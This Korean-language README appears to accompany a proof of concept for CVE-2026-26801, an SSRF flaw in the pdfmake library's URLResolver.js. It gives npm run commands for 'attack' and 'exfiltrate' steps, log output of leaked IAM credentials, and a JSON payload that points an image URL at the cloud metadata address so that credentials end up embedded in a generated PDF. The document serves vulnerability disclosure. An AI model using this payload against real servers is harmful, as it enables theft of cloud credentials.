
PoC for CVE-2026-26801: pdfmake URLResolver.js의 SSRF (>= 0.3.0-beta.2, <= 0.3.5)
| 필드 | 값 |
|---|
| 패키지 | pdfmake |
| 버전 | >= 0.3.0-beta.2, <= 0.3.5 |
| 수정 버전 | 0.3.6 |
| CVE | CVE-2026-26801 |
| 유형 | 서버 측 요청 위조 (SSRF) |
| 위치 | src/URLResolver.js |
| 심각도 | 높음 (HIGH) |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
docDefinition에 images, attachments 또는 files에 URL이 포함된 경우, pdfmake는 검증 없이 해당 URL을 가져옵니다:
npm install
npm run metadata
npm run server
블라인드 SSRF (서버가 외부 요청을 수행함을 증명):
npm run attack
전체 읽기 SSRF (생성된 PDF에 자격 증명이 포함됨):
npm run exfiltrate
npm run attack)메타데이터 서버 출력:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
이는 취약한 서버가 우리가 통제하는 엔드포인트로 외부 요청을 보냈음을 증명합니다.
npm run exfiltrate)공격 스크립트는 exfiltrated.pdf를 생성합니다. PDF 뷰어에서 열면 AWS 자격 증명 JSON이 파일 첨부(metadata.json)로 포함되어 있습니다. 이는 단순한 블라인드 SSRF가 아닌 전체 데이터 유출을 증명합니다. 공격자는 실제 응답 본문을 PDF 내부에서 다시 얻을 수 있습니다.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
발견 과정, 공격 체인 및 공개 타임라인에 대한 전체 기술 문서: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf